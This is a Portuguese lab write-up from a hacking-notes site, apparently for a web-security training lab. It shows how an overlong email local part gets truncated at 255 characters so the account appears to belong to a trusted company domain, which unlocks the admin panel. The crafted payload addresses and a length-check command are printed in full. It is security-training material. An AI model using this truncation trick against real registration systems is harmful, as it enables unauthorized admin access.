> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/business-logic/inconsistent-handling-of-exceptional-input.md).
# Tratamento Inconsistente de Entrada Excepcional
### Tratamento inconsistente de entrada excepcional
**Descrição do laboratório**
Este laboratório mostra uma validação deficiente das entradas do usuário no processo de registro. Essa falha lógica permite acesso a recursos administrativos normalmente reservados aos funcionários. / Objetivo: acessar o painel de administração e excluir o usuário **carlos**.
**Observação inicial**
Após o registro, um e-mail de validação é enviado para o endereço fornecido. / O servidor em funcionamento recebe \*\*todos os e-mails\*\* associados ao domínio e seus subdomínios:
```bash
@exploit-0a8c00a504628ac58246f51601c6009c.exploit-server.net
```
Assim, qualquer endereço criado com esse domínio ou seus subdomínios é admissível.
**Comportamento anormal identificado**
Ao criar um endereço de e-mail contendo um número muito grande de caracteres antes do `@` símbolo, descobrimos que o campo \*\*
{% code overflow="wrap" %}
```bash
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@exploit-0a8c00a504628ac58246f51601c6009c.exploit-server.net
```
{% endcode %}
Esse limite causa uma inconsistência entre o valor realmente armazenado e o exibido ou usado para verificações de segurança.
**Funcionamento da falha**
O objetivo é forçar a truncagem para que o e-mail registrado termine exatamente com o `dontwannacry.com` área de confiança.
Verificação do comprimento:
{% code overflow="wrap" %}
```bash
eecho -n "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dontwannacry.com" | wc -c
```
{% endcode %}
Depois que os 255 caracteres são alcançados, o endereço final é construído desta forma:
{% code overflow="wrap" %}
```bash
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@dontwannacry.com.exploit-0a8c00a504628ac58246f51601c6009c.exploit-server.net
```
{% endcode %}
O servidor em funcionamento recebe o e-mail normalmente, pois aceita todos os subdomínios.
O aplicativo, após a truncagem, interpreta o endereço como pertencente ao `dontwannacry.com` domínio.
A conta é considerada interna ou confiável. / Uma vez conectado, o acesso ao **Painel de Administração** é permitido sem controle adicional.
---
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